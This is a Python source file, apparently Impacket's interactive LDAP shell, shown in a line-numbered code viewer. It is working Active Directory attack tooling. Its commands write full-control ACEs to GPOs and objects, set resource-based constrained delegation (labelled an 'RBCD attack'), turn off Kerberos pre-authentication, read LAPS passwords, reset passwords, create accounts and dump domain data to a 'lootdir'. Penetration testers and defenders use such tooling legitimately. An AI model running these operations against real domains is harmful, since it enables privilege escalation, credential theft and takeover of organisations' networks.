Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# Mini shell using some of the LDAP functionalities of the library 

11# 

12# Author: 

13# Mathieu Gascon-Lefebvre (@mlefebvre) 

14# 

15import re 

16import string 

17import sys 

18import cmd 

19import random 

20import ldap3 

21from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM 

22from ldap3.utils.conv import escape_filter_chars 

23from six import PY2 

24import shlex 

25from impacket import LOG 

26from ldap3.protocol.microsoft import security_descriptor_control 

27from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP 

28from impacket.ldap import ldaptypes 

29 

30 

31class LdapShell(cmd.Cmd): 

32 LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941" 

33 

34 def __init__(self, tcp_shell, domain_dumper, client): 

35 cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout) 

36 

37 if PY2: 

38 # switch to unicode. 

39 reload(sys) # noqa: F821 pylint:disable=undefined-variable 

40 sys.setdefaultencoding('utf8') 

41 

42 sys.stdout = tcp_shell.stdout 

43 sys.stdin = tcp_shell.stdin 

44 sys.stderr = tcp_shell.stdout 

45 self.use_rawinput = False 

46 self.shell = tcp_shell 

47 

48 self.prompt = '\n# ' 

49 self.tid = None 

50 self.intro = 'Type help for list of commands' 

51 self.loggedIn = True 

52 self.last_output = None 

53 self.completion = [] 

54 self.client = client 

55 self.domain_dumper = domain_dumper 

56 

57 def emptyline(self): 

58 pass 

59 

60 def onecmd(self, s): 

61 ret_val = False 

62 try: 

63 ret_val = cmd.Cmd.onecmd(self, s) 

64 except Exception as e: 

65 print(e) 

66 LOG.error(e) 

67 LOG.debug('Exception info', exc_info=True) 

68 

69 return ret_val 

70 

71 def create_empty_sd(self): 

72 sd = ldaptypes.SR_SECURITY_DESCRIPTOR() 

73 sd['Revision'] = b'\x01' 

74 sd['Sbz1'] = b'\x00' 

75 sd['Control'] = 32772 

76 sd['OwnerSid'] = ldaptypes.LDAP_SID() 

77 # BUILTIN\Administrators 

78 sd['OwnerSid'].fromCanonical('S-1-5-32-544') 

79 sd['GroupSid'] = b'' 

80 sd['Sacl'] = b'' 

81 acl = ldaptypes.ACL() 

82 acl['AclRevision'] = 4 

83 acl['Sbz1'] = 0 

84 acl['Sbz2'] = 0 

85 acl.aces = [] 

86 sd['Dacl'] = acl 

87 return sd 

88 

89 def create_allow_ace(self, sid): 

90 nace = ldaptypes.ACE() 

91 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE 

92 nace['AceFlags'] = 0x00 

93 acedata = ldaptypes.ACCESS_ALLOWED_ACE() 

94 acedata['Mask'] = ldaptypes.ACCESS_MASK() 

95 acedata['Mask']['Mask'] = 983551 # Full control 

96 acedata['Sid'] = ldaptypes.LDAP_SID() 

97 acedata['Sid'].fromCanonical(sid) 

98 nace['Ace'] = acedata 

99 return nace 

100 

101 def do_write_gpo_dacl(self, line): 

102 args = shlex.split(line) 

103 print ("Adding %s to GPO with GUID %s" % (args[0], args[1])) 

104 if len(args) != 2: 

105 raise Exception("A samaccountname and GPO sid are required.") 

106 

107 tgtUser = args[0] 

108 gposid = args[1] 

109 self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid']) 

110 if len( self.client.entries) <= 0: 

111 raise Exception("Didnt find the given user") 

112 

113 user = self.client.entries[0] 

114 

115 controls = security_descriptor_control(sdflags=0x04) 

116 self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls) 

117 

118 if len( self.client.entries) <= 0: 

119 raise Exception("Didnt find the given gpo") 

120 gpo = self.client.entries[0] 

121 

122 secDescData = gpo['nTSecurityDescriptor'].raw_values[0] 

123 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) 

124 newace = self.create_allow_ace(str(user['objectSid'])) 

125 secDesc['Dacl']['Data'].append(newace) 

126 data = secDesc.getData() 

127 

128 self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) 

129 if self.client.result["result"] == 0: 

130 print('LDAP server claims to have taken the secdescriptor. Have fun') 

131 else: 

132 raise Exception("Something wasnt right: %s" %str(self.client.result['description'])) 

133 

134 def do_add_computer(self, line): 

135 args = shlex.split(line) 

136 

137 if not self.client.server.ssl: 

138 print("Error adding a new computer with LDAP requires LDAPS.") 

139 

140 if len(args) != 1 and len(args) != 2: 

141 raise Exception("Error expected a computer name and an optional password argument.") 

142 

143 computer_name = args[0] 

144 if not computer_name.endswith('$'): 

145 computer_name += '$' 

146 

147 print("Attempting to add a new computer with the name: %s" % computer_name) 

148 

149 password = "" 

150 if len(args) == 1: 

151 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

152 else: 

153 password = args[1] 

154 

155 domain_dn = self.domain_dumper.root 

156 domain = re.sub(',DC=', '.', domain_dn[domain_dn.find('DC='):], flags=re.I)[3:] 

157 

158 print("Inferred Domain DN: %s" % domain_dn) 

159 print("Inferred Domain Name: %s" % domain) 

160 

161 computer_hostname = computer_name[:-1] # Remove $ sign 

162 computer_dn = "CN=%s,CN=Computers,%s" % (computer_hostname, self.domain_dumper.root) 

163 print("New Computer DN: %s" % computer_dn) 

164 

165 spns = [ 

166 'HOST/%s' % computer_hostname, 

167 'HOST/%s.%s' % (computer_hostname, domain), 

168 'RestrictedKrbHost/%s' % computer_hostname, 

169 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain), 

170 ] 

171 ucd = { 

172 'dnsHostName': '%s.%s' % (computer_hostname, domain), 

173 'userAccountControl': 4096, 

174 'servicePrincipalName': spns, 

175 'sAMAccountName': computer_name, 

176 'unicodePwd': '"{}"'.format(password).encode('utf-16-le') 

177 } 

178 

179 res = self.client.add(computer_dn, ['top','person','organizationalPerson','user','computer'], ucd) 

180 

181 if not res: 

182 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM: 

183 print("Failed to add a new computer. The server denied the operation.") 

184 else: 

185 print('Failed to add a new computer: %s' % str(self.client.result)) 

186 else: 

187 print('Adding new computer with username: %s and password: %s result: OK' % (computer_name, password)) 

188 

189 def do_add_user(self, line): 

190 args = shlex.split(line) 

191 if len(args) == 0: 

192 raise Exception("A username is required.") 

193 

194 new_user = args[0] 

195 if len(args) == 1: 

196 parent_dn = 'CN=Users,%s' % self.domain_dumper.root 

197 else: 

198 parent_dn = args[1] 

199 

200 new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

201 

202 new_user_dn = 'CN=%s,%s' % (new_user, parent_dn) 

203 ucd = { 

204 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.domain_dumper.root, 

205 'distinguishedName': new_user_dn, 

206 'cn': new_user, 

207 'sn': new_user, 

208 'givenName': new_user, 

209 'displayName': new_user, 

210 'name': new_user, 

211 'userAccountControl': 512, 

212 'accountExpires': '0', 

213 'sAMAccountName': new_user, 

214 'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le') 

215 } 

216 

217 print('Attempting to create user in: %s', parent_dn) 

218 res = self.client.add(new_user_dn, ['top', 'person', 'organizationalPerson', 'user'], ucd) 

219 if not res: 

220 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: 

221 raise Exception('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') 

222 else: 

223 raise Exception('Failed to add a new user: %s' % str(self.client.result['description'])) 

224 else: 

225 print('Adding new user with username: %s and password: %s result: OK' % (new_user, new_password)) 

226 

227 def do_add_user_to_group(self, line): 

228 user_name, group_name = shlex.split(line) 

229 

230 user_dn = self.get_dn(user_name) 

231 if not user_dn: 

232 raise Exception("User not found in LDAP: %s" % user_name) 

233 

234 group_dn = self.get_dn(group_name) 

235 if not group_dn: 

236 raise Exception("Group not found in LDAP: %s" % group_name) 

237 

238 user_name = user_dn.split(',')[0][3:] 

239 group_name = group_dn.split(',')[0][3:] 

240 

241 res = self.client.modify(group_dn, {'member': [(ldap3.MODIFY_ADD, [user_dn])]}) 

242 if res: 

243 print('Adding user: %s to group %s result: OK' % (user_name, group_name)) 

244 else: 

245 raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result['description']))) 

246 

247 def do_change_password(self, line): 

248 args = shlex.split(line) 

249 

250 if len(args) != 1 and len(args) != 2: 

251 raise Exception("Error expected a username and an optional password argument. Instead %d arguments were provided" % len(args)) 

252 

253 user_dn = self.get_dn(args[0]) 

254 print("Got User DN: " + user_dn) 

255 

256 password = "" 

257 if len(args) == 1: 

258 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

259 else: 

260 password = args[1] 

261 

262 print("Attempting to set new password of: %s" % password) 

263 success = self.client.extend.microsoft.modify_password(user_dn, password) 

264 

265 if self.client.result['result'] == 0: 

266 print('Password changed successfully!') 

267 else: 

268 if self.client.result['result'] == 50: 

269 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

270 elif self.client.result['result'] == 19: 

271 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

272 else: 

273 raise Exception('The server returned an error: %s', self.client.result['message']) 

274 

275 def do_clear_rbcd(self, computer_name): 

276 

277 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) 

278 if success is False or len(self.client.entries) != 1: 

279 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

280 

281 target = self.client.entries[0] 

282 target_sid = target["objectsid"].value 

283 print("Found Target DN: %s" % target.entry_dn) 

284 print("Target SID: %s\n" % target_sid) 

285 

286 sd = self.create_empty_sd() 

287 

288 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) 

289 if self.client.result['result'] == 0: 

290 print('Delegation rights cleared successfully!') 

291 else: 

292 if self.client.result['result'] == 50: 

293 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

294 elif self.client.result['result'] == 19: 

295 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

296 else: 

297 raise Exception('The server returned an error: %s', self.client.result['message']) 

298 

299 def do_dump(self, line): 

300 print('Dumping domain info...') 

301 self.stdout.flush() 

302 self.domain_dumper.domainDump() 

303 print('Domain info dumped into lootdir!') 

304 

305 def do_disable_account(self, username): 

306 self.toggle_account_enable_disable(username, False) 

307 

308 def do_enable_account(self, username): 

309 self.toggle_account_enable_disable(username, True) 

310 

311 def toggle_account_enable_disable(self, user_name, enable): 

312 UF_ACCOUNT_DISABLE = 2 

313 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl']) 

314 

315 if len(self.client.entries) != 1: 

316 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

317 

318 user_dn = self.client.entries[0].entry_dn 

319 if not user_dn: 

320 raise Exception("User not found in LDAP: %s" % user_name) 

321 

322 entry = self.client.entries[0] 

323 userAccountControl = entry["userAccountControl"].value 

324 

325 print("Original userAccountControl: %d" % userAccountControl) 

326 

327 if enable: 

328 userAccountControl = userAccountControl & ~UF_ACCOUNT_DISABLE 

329 else: 

330 userAccountControl = userAccountControl | UF_ACCOUNT_DISABLE 

331 

332 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])}) 

333 

334 if self.client.result['result'] == 0: 

335 print("Updated userAccountControl attribute successfully") 

336 else: 

337 if self.client.result['result'] == 50: 

338 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

339 elif self.client.result['result'] == 19: 

340 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

341 else: 

342 raise Exception('The server returned an error: %s', self.client.result['message']) 

343 

344 def do_search(self, line): 

345 arguments = shlex.split(line) 

346 if len(arguments) == 0: 

347 raise Exception("A query is required.") 

348 

349 filter_attributes = ['name', 'distinguishedName', 'sAMAccountName'] 

350 attributes = filter_attributes[:] 

351 attributes.append('objectSid') 

352 for argument in arguments[1:]: 

353 attributes.append(argument) 

354 

355 search_query = "".join("(%s=*%s*)" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes) 

356 self.search('(|%s)' % search_query, *attributes) 

357 

358 def do_set_dontreqpreauth(self, line): 

359 UF_DONT_REQUIRE_PREAUTH = 4194304 

360 

361 args = shlex.split(line) 

362 if len(args) != 2: 

363 raise Exception("Username (SAMAccountName) and true/false flag required (e.g. jsmith true).") 

364 

365 user_name = args[0] 

366 flag_str = args[1] 

367 flag = False 

368 

369 if flag_str.lower() == "true": 

370 flag = True 

371 elif flag_str.lower() == "false": 

372 flag = False 

373 else: 

374 raise Exception("The specified flag must be either true or false") 

375 

376 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl']) 

377 if len(self.client.entries) != 1: 

378 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

379 

380 user_dn = self.client.entries[0].entry_dn 

381 if not user_dn: 

382 raise Exception("User not found in LDAP: %s" % user_name) 

383 

384 entry = self.client.entries[0] 

385 userAccountControl = entry["userAccountControl"].value 

386 print("Original userAccountControl: %d" % userAccountControl) 

387 

388 if flag: 

389 userAccountControl = userAccountControl | UF_DONT_REQUIRE_PREAUTH 

390 else: 

391 userAccountControl = userAccountControl & ~UF_DONT_REQUIRE_PREAUTH 

392 

393 print("Updated userAccountControl: %d" % userAccountControl) 

394 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])}) 

395 

396 if self.client.result['result'] == 0: 

397 print("Updated userAccountControl attribute successfully") 

398 else: 

399 if self.client.result['result'] == 50: 

400 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

401 elif self.client.result['result'] == 19: 

402 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

403 else: 

404 raise Exception('The server returned an error: %s', self.client.result['message']) 

405 

406 def do_get_user_groups(self, user_name): 

407 user_dn = self.get_dn(user_name) 

408 if not user_dn: 

409 raise Exception("User not found in LDAP: %s" % user_name) 

410 

411 self.search('(member:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(user_dn))) 

412 

413 def do_get_group_users(self, group_name): 

414 group_dn = self.get_dn(group_name) 

415 if not group_dn: 

416 raise Exception("Group not found in LDAP: %s" % group_name) 

417 

418 self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), "sAMAccountName", "name") 

419 

420 def do_get_laps_password(self, computer_name): 

421 

422 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['ms-MCS-AdmPwd']) 

423 if len(self.client.entries) != 1: 

424 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

425 

426 computer = self.client.entries[0] 

427 print("Found Computer DN: %s" % computer.entry_dn) 

428 

429 password = computer["ms-MCS-AdmPwd"].value 

430 

431 if password is not None: 

432 print("LAPS Password: %s" % password) 

433 else: 

434 print("Unable to Read LAPS Password for Computer") 

435 

436 def do_grant_control(self, line): 

437 args = shlex.split(line) 

438 

439 if len(args) != 1 and len(args) != 2: 

440 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args)) 

441 

442 controls = security_descriptor_control(sdflags=0x04) 

443 

444 target_name = args[0] 

445 grantee_name = args[1] 

446 

447 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) 

448 if success is False or len(self.client.entries) != 1: 

449 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

450 

451 target = self.client.entries[0] 

452 target_sid = target["objectSid"].value 

453 print("Found Target DN: %s" % target.entry_dn) 

454 print("Target SID: %s\n" % target_sid) 

455 

456 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) 

457 if success is False or len(self.client.entries) != 1: 

458 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

459 

460 grantee = self.client.entries[0] 

461 grantee_sid = grantee["objectSid"].value 

462 print("Found Grantee DN: %s" % grantee.entry_dn) 

463 print("Grantee SID: %s" % grantee_sid) 

464 

465 try: 

466 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0]) 

467 except IndexError: 

468 sd = self.create_empty_sd() 

469 

470 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) 

471 self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls) 

472 

473 if self.client.result['result'] == 0: 

474 print('DACL modified successfully!') 

475 print('%s now has control of %s' % (grantee_name, target_name)) 

476 else: 

477 if self.client.result['result'] == 50: 

478 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

479 elif self.client.result['result'] == 19: 

480 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

481 else: 

482 raise Exception('The server returned an error: %s', self.client.result['message']) 

483 

484 def do_set_rbcd(self, line): 

485 args = shlex.split(line) 

486 

487 if len(args) != 1 and len(args) != 2: 

488 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args)) 

489 

490 target_name = args[0] 

491 grantee_name = args[1] 

492 

493 target_sid = args[0] 

494 grantee_sid = args[1] 

495 

496 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) 

497 if success is False or len(self.client.entries) != 1: 

498 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

499 

500 target = self.client.entries[0] 

501 target_sid = target["objectSid"].value 

502 print("Found Target DN: %s" % target.entry_dn) 

503 print("Target SID: %s\n" % target_sid) 

504 

505 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) 

506 if success is False or len(self.client.entries) != 1: 

507 raise Exception("Error expected only one search result got %d results", len(self.client.entries)) 

508 

509 grantee = self.client.entries[0] 

510 grantee_sid = grantee["objectSid"].value 

511 print("Found Grantee DN: %s" % grantee.entry_dn) 

512 print("Grantee SID: %s" % grantee_sid) 

513 

514 try: 

515 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0]) 

516 print('Currently allowed sids:') 

517 for ace in sd['Dacl'].aces: 

518 print(' %s' % ace['Ace']['Sid'].formatCanonical()) 

519 

520 if ace['Ace']['Sid'].formatCanonical() == grantee_sid: 

521 print("Grantee is already permitted to perform delegation to the target host") 

522 return 

523 

524 except IndexError: 

525 sd = self.create_empty_sd() 

526 

527 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) 

528 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) 

529 

530 if self.client.result['result'] == 0: 

531 print('Delegation rights modified successfully!') 

532 print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name)) 

533 else: 

534 if self.client.result['result'] == 50: 

535 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

536 elif self.client.result['result'] == 19: 

537 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

538 else: 

539 raise Exception('The server returned an error: %s', self.client.result['message']) 

540 

541 def search(self, query, *attributes): 

542 self.client.search(self.domain_dumper.root, query, attributes=attributes) 

543 for entry in self.client.entries: 

544 print(entry.entry_dn) 

545 for attribute in attributes: 

546 value = entry[attribute].value 

547 if value: 

548 print("%s: %s" % (attribute, entry[attribute].value)) 

549 if any(attributes): 

550 print("---") 

551 

552 def get_dn(self, sam_name): 

553 if "," in sam_name: 

554 return sam_name 

555 

556 try: 

557 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(sam_name), attributes=['objectSid']) 

558 return self.client.entries[0].entry_dn 

559 except IndexError: 

560 return None 

561 

562 def do_exit(self, line): 

563 if self.shell is not None: 

564 self.shell.close() 

565 return True 

566 

567 def do_help(self, line): 

568 print(""" 

569 add_computer computer [password] - Adds a new computer to the domain with the specified password. Requires LDAPS. 

570 add_user new_user [parent] - Creates a new user. 

571 add_user_to_group user group - Adds a user to a group. 

572 change_password user [password] - Attempt to change a given user's password. Requires LDAPS. 

573 clear_rbcd target - Clear the resource based constrained delegation configuration information. 

574 disable_account user - Disable the user's account. 

575 enable_account user - Enable the user's account. 

576 dump - Dumps the domain. 

577 search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName. 

578 get_user_groups user - Retrieves all groups this user is a member of. 

579 get_group_users group - Retrieves all members of a group. 

580 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName). 

581 grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName). 

582 set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false. 

583 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName). 

584 write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}. 

585 exit - Terminates this session.""") 

586 

587 def do_EOF(self, line): 

588 print('Bye!\n') 

589 return True